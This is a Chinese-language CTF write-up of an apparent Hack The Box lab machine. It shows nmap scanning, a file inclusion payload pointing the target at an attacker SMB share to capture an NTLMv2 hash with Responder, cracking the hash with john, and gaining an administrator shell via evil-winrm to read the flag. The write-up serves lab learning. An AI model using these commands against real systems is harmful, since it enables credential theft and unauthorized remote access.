这一关学到了很多,首先nmap扫一下
└─$ sudo nmap -sV -sS 10.129.140.169 -p 1-10000 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 7680/tcp open pando-pub?
扫出了3个端口,其中一个是Apache应该存在web服务
5985端口的Microsoft HTTPAPI httpd 2.0是SQL Server中的SQL Reporting Service 服务使用的Microsoft HTTPAPI。
在浏览器中输入[ip-address]后重定向到unika.htb,但是因为我们的host里没有这条域名解析,当然外面的DNS服务器也没有。所以要在我们的/etc/hosts里配置一下。
echo "[ip-address] unika.htb" | sudo tee -a /etc/hosts
进入浏览器后发现存在文件包含漏洞,而这不是我想写的重点。
下面是重点
NTLMNTLM是Microsoft创建的一系列认证协议,是challenge-response认证机制,用于在Active Directory域中验证客户端到资源的身份。
它是一种单点登录(SSO),因为它允许用户仅在登录时提供一次底层身份验证因素。
NTLM的工作方式:
- 客户端发送用户名给服务器。
- 服务器返回一个称为challenge的随机哈希。
- 客服端根据challenge和用户密码生成一个哈希password值,并发送给服务器就像一个response。
- 服务器生成该用户的密码哈希值并与response里的值比对。
- 如果值匹配则认证成功,如果失败则客户端将被拒绝访问。
下面将使用一个新的工具Responder,这个工具需要下载,Kali手册responder Usage Example;Github地址Responder
ResponderResponder在线路上侦听NetBIOS和LLMNR广播和组播请求,以获取来自本地子网中其他机器的主机名。
当Windows机器无法通过DNS或它们自己的本地主机文件解析主机名时,通常会使用这些协议。
先进行监听,手册responder Usage Example
通过-I指定tun0网络接口
└─$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
但是在本关中,Responder假装扮演一个SMB服务器的角色,使用上面提到的文件包含漏洞包含本机的任意文件后,目标机器向本机请求资源。
http://unika.htb/index.php?page=//10.10.16.9/home
这时Responder要求目标机器进行NTLMv2认证。NTLMv2是一个加强认证机制以替代NTLMv1。
请求资源后,shell将会出现如下信息。
[+] Listening for events... [SMB] NTLMv2-SSP Client : ::ffff:10.129.140.169 [SMB] NTLMv2-SSP Username : RESPONDERAdministrator [SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:807bdbf51...
我们将该Hash交给Hash爆破工具john
└─$ echo "Administrator::RESPONDER:807bdbf51..." > hash.txt └─$ john -w=/usr/share/wordlists/rockyou.txt hash.txt ... badminton (Administrator)
爆出密码badminton
使用一个evil-winrm进行连接
└─$ evil-winrm -i 10.129.140.169 -u administrator -p badminton
然后查找flag
*Evil-WinRM* PS C:UsersAdministrator> Get-Childitem -Path C: -Include *flag* -File -Recurse -ErrorAction SilentlyContinue
因为非常不熟悉PowerShell找了好久才找到一个可以用的指令Get-ChildItem
然而想找一篇通俗易懂的博客也非常不容易Use Windows PowerShell to search for files
-Path: 指定查找路径 -Include: 指定匹配的字符,可使用通配符* -File: 用于获取文件列表。还可以将-Recurse参数与-File参数一起使用。 -Recurse: 获取指定位置中的项目以及该位置的所有子项目。 -ErrorAction SilentlyContinue:忽视错误信息,继续执行命令
找到路径后用Get-Content获取内容
*Evil-WinRM* PS C:UsersAdministratorDocuments> Get-Content C:UsersmikeDesktopflag.txt



